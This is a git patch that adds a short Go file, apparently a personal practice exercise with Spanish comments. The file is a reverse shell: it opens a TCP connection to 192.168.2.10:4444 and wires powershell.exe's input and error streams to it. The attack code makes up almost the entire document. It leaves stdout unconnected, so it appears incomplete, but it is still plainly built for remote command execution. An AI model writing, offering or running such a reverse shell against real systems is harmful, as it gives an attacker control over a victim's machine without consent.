From 411303c3434f290909f0779e39c948f13d6c2acd Mon Sep 17 00:00:00 2001 From: kar Date: Wed, 24 Sep 2025 17:41:07 -0500 Subject: [PATCH] anadiendo prueba --- prueba1.go | 44 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) create mode 100644 prueba1.go diff --git a/prueba1.go b/prueba1.go new file mode 100644 index 0000000..5b21d6a --- /dev/null +++ b/prueba1.go @@ -0,0 +1,44 @@ +// ejercicio de prueba despues de como dos semanas de no programar como me gusta +package main +import ( + "os/exec" + "log" + "net" +) + +//creamos el struct +type IpAddr struct { + Addr string +} + +//metodo "constructor" + +func SerAddr() *IpAddr { + return &IpAddr { + Addr: "192.168.2.10:4444", + } +} + +func (IA IpAddr) StartConnection() { + //enviamos una reverse shell + conn, err := net.Dial("tcp", IA.Addr) + if err != nil { + log.Println("Error al enviar la conexion") + return + } + + SendCmd(conn) +} + +func SendCmd(conn net.Conn) { + //enviamos la conexion lol + cmd := exec.Command("powershell.exe") + cmd.Stdin = conn + cmd.Stderr = conn + cmd.Run() +} + +func main() { + reAddr := SerAddr() + reAddr.StartConnection() +} \ No newline at end of file